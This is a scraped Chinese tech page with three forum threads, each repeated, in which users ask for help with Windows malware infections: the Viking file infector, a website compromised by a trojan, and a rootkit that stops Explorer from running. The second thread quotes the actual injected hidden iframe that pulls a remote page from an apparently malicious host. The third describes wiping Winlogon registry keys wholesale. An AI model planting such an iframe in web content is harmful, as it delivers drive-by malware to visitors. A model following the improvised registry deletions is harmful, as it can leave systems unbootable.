当前位置: 操作系统/服务器>windows
本页文章导读:
▪怪现象,小弟我的机器上出现了 文件名.EXE.EXE文件!请教小弟我中啥病毒了 怪现象,我的机器上出现了 文件名.EXE.EXE文件!!!请问我中啥病毒了THKS某个文件是这样？所有文件是这样？
把可疑文件传一个到www.virustotal.com，就知道是不是病毒了
很明显 威尔金斯病毒 也.........
▪ 帮帮忙吧，很奇怪的有关问题 各位大哥帮帮忙吧，很奇怪的问题网站前几天被人挂过马 清除了以后，这两天有出现了 机子中的毒是这个Hack.SuspiciousAni 单位的机子基本都中了 我把网页中的恶意代码基本都删了，检查了.........
▪ EXPLORER,小弟我真拿你没办法 EXPLORER,我真拿你没办法我的大致情况是：正常启动或安全模式启动都无法运行EXPLORER。运行ICESWORLD和FLASHGET等（目前只发现这两软件）软件时，对话框提示Failed to creat empty documment.进.........
[1]怪现象,小弟我的机器上出现了 文件名.EXE.EXE文件!请教小弟我中啥病毒了
来源: 互联网 发布时间: 2014-02-18
怪现象,我的机器上出现了 文件名.EXE.EXE文件!!!请问我中啥病毒了
THKS
某个文件是这样？所有文件是这样？
把可疑文件传一个到www.virustotal.com，就知道是不是病毒了
很明显 威尔金斯病毒
也就人们常说的 "威金 "或者 "维金 ",病毒库为viking,下载专杀吧~
到江民网站下载Viking专杀工具扫描看看
THKS
某个文件是这样？所有文件是这样？
把可疑文件传一个到www.virustotal.com，就知道是不是病毒了
很明显 威尔金斯病毒
也就人们常说的 "威金 "或者 "维金 ",病毒库为viking,下载专杀吧~
到江民网站下载Viking专杀工具扫描看看
[2] 帮帮忙吧，很奇怪的有关问题
来源: 互联网 发布时间: 2014-02-18
各位大哥帮帮忙吧，很奇怪的问题
网站前几天被人挂过马
清除了以后，这两天有出现了
机子中的毒是这个Hack.SuspiciousAni
单位的机子基本都中了
我把网页中的恶意代码基本都删了，检查了很多了
但打开某些网页的时候在状态栏还是经常出现了那些恶意马的URL地址
而且是第一次打开没有，刷新几次后就开始出现了
后来我怀疑是不是浏览器中毒后的原因
我在网站根目录需下建了一个asp文件，就写了个字母a,访问后果然是刚访问没问题，但刷新几次后就有问题了
所以我确定不是ASP文件的问题了，但如果是浏览器问题的话，为什么访问别的网站没问题呢，偏偏是我们这个以前被挂过的站有问题了，后来发现同服务器上的其他站点也是同样，我可以确定跟自己的浏览器有点关系，因为别人的机子访问一点问题也没有
而且也确定自己的服务器肯定也有问题，因为我的浏览器访问别的网站一点问题也没有，自己的服务器上的浏览器也曾经访问过自己的网站，所以好像也中了毒了，不知道是不是这个原因
现在很是郁闷
我现在访问网站底下的一个a.asp,文件里就一个字母a,刷新几次后就会有问题
浏览器端显示的源代码是
<iframe src= 'http://s72.911520.net/site/gg/1.htm ' height=0 width=50> </iframe> a
各位大哥帮帮忙吧，老板让我重装服务器了，我还不想这么简单的就重装服务器，而且重装起来很麻烦
帮顶 ………………
把ie里面的设置都设置成默认,该删除的历史文件,缓寸,cookei什么的都删掉
会下载一个木马下载器
楼主检查后台数据库里的数据罢
很显然你计算机中木马了。检查服务器上的文件是否正确，如果文件中也有iframe代码那服务器端有木马。另外如果网站的数据库修改成.asp 或者.asa为后缀的也会被插入iframe代码，必须清除之。
装个木马克星
网站前几天被人挂过马
清除了以后，这两天有出现了
机子中的毒是这个Hack.SuspiciousAni
单位的机子基本都中了
我把网页中的恶意代码基本都删了，检查了很多了
但打开某些网页的时候在状态栏还是经常出现了那些恶意马的URL地址
而且是第一次打开没有，刷新几次后就开始出现了
后来我怀疑是不是浏览器中毒后的原因
我在网站根目录需下建了一个asp文件，就写了个字母a,访问后果然是刚访问没问题，但刷新几次后就有问题了
所以我确定不是ASP文件的问题了，但如果是浏览器问题的话，为什么访问别的网站没问题呢，偏偏是我们这个以前被挂过的站有问题了，后来发现同服务器上的其他站点也是同样，我可以确定跟自己的浏览器有点关系，因为别人的机子访问一点问题也没有
而且也确定自己的服务器肯定也有问题，因为我的浏览器访问别的网站一点问题也没有，自己的服务器上的浏览器也曾经访问过自己的网站，所以好像也中了毒了，不知道是不是这个原因
现在很是郁闷
我现在访问网站底下的一个a.asp,文件里就一个字母a,刷新几次后就会有问题
浏览器端显示的源代码是
<iframe src= 'http://s72.911520.net/site/gg/1.htm ' height=0 width=50> </iframe> a
各位大哥帮帮忙吧，老板让我重装服务器了，我还不想这么简单的就重装服务器，而且重装起来很麻烦
帮顶 ………………
把ie里面的设置都设置成默认,该删除的历史文件,缓寸,cookei什么的都删掉
会下载一个木马下载器
楼主检查后台数据库里的数据罢
很显然你计算机中木马了。检查服务器上的文件是否正确，如果文件中也有iframe代码那服务器端有木马。另外如果网站的数据库修改成.asp 或者.asa为后缀的也会被插入iframe代码，必须清除之。
装个木马克星
[3] EXPLORER,小弟我真拿你没办法
来源: 互联网 发布时间: 2014-02-18
EXPLORER,我真拿你没办法
我的大致情况是：正常启动或安全模式启动都无法运行EXPLORER。运行ICESWORLD和FLASHGET等（目前只发现这两软件）软件时，对话框提示Failed to creat empty documment.进程中有RUNDLL32，RUNDLL2000，IGFXTRY（IGFXTRY记忆中没有过，最近也没装过软件，查过它的资料说什么和显卡有关，弄的不是很明白）这三个自己觉得很可疑的进程。
然后我做了些工作，顺序不一定对，大致是：搜索了至出现情况的那天起所创建或修改的文件，删除了搜索出来的EXE和DLL文件。（对删除的文件都做了备份，其实好多估计是病毒）。然后将注册表HLM/SOFTWARE/MICROSOFT/WINDOWNS/CURRENTVIRSION/WINLOGON下的子键和值全部删除，再建立了一个SHELL，其值为SHELL=EXPLORER。
重新启动，故障依旧。
我到WINDOWNS找到EXPLORER，运行它，对话框提示：WINDOWNS找不到EXPLORER，确认其路径正确（在任务管理器运行也是这样）。我查看EXPLORER的属性，是当天修改，大小为945K。我将其删除后，一会儿又创建了。接着我把DLLCACHE里的EXPLORER也删除后再把WINDOWNS下的EXPLORER删除。从别人的机器复制了一个过来放到WINDOWNS下。
重新启动，故障依旧。
现在杀毒软件起不到关键的作用，我的KASPERSKY天天更新病毒库，它也只能告诉我发现了SYSTEM32/DRIVERS/RKZPW感染了TROJAN_DOWNLOAD_WIN32.AGENT.BBB病毒，但无法删除。我找到RKZPW.SYS文件，也不能删除。还有一点我也不肯定，是不是删除了这个文件故障就会消失。
我现在也天天都在思索，寻求办法。
望高手指点。
不报是病毒的不一定不是病毒，报是病毒的一定是病毒，病毒在运行当然就杀不掉。
进安全模式，清空临时文件，用syscheck，注意看里面的活动文件和内核检测。先去掉活动的病毒文件和进驻内核的程序以及进驻进程的模块，再如楼上所说，去掉其驱动和服务加载，去掉注册表启动项。
你新建一个管理员用户，用该用户登陆，应该不会出现explorer的问题了。
我的大致情况是：正常启动或安全模式启动都无法运行EXPLORER。运行ICESWORLD和FLASHGET等（目前只发现这两软件）软件时，对话框提示Failed to creat empty documment.进程中有RUNDLL32，RUNDLL2000，IGFXTRY（IGFXTRY记忆中没有过，最近也没装过软件，查过它的资料说什么和显卡有关，弄的不是很明白）这三个自己觉得很可疑的进程。
然后我做了些工作，顺序不一定对，大致是：搜索了至出现情况的那天起所创建或修改的文件，删除了搜索出来的EXE和DLL文件。（对删除的文件都做了备份，其实好多估计是病毒）。然后将注册表HLM/SOFTWARE/MICROSOFT/WINDOWNS/CURRENTVIRSION/WINLOGON下的子键和值全部删除，再建立了一个SHELL，其值为SHELL=EXPLORER。
重新启动，故障依旧。
我到WINDOWNS找到EXPLORER，运行它，对话框提示：WINDOWNS找不到EXPLORER，确认其路径正确（在任务管理器运行也是这样）。我查看EXPLORER的属性，是当天修改，大小为945K。我将其删除后，一会儿又创建了。接着我把DLLCACHE里的EXPLORER也删除后再把WINDOWNS下的EXPLORER删除。从别人的机器复制了一个过来放到WINDOWNS下。
重新启动，故障依旧。
现在杀毒软件起不到关键的作用，我的KASPERSKY天天更新病毒库，它也只能告诉我发现了SYSTEM32/DRIVERS/RKZPW感染了TROJAN_DOWNLOAD_WIN32.AGENT.BBB病毒，但无法删除。我找到RKZPW.SYS文件，也不能删除。还有一点我也不肯定，是不是删除了这个文件故障就会消失。
我现在也天天都在思索，寻求办法。
望高手指点。
不报是病毒的不一定不是病毒，报是病毒的一定是病毒，病毒在运行当然就杀不掉。
进安全模式，清空临时文件，用syscheck，注意看里面的活动文件和内核检测。先去掉活动的病毒文件和进驻内核的程序以及进驻进程的模块，再如楼上所说，去掉其驱动和服务加载，去掉注册表启动项。
你新建一个管理员用户，用该用户登陆，应该不会出现explorer的问题了。
最新技术文章: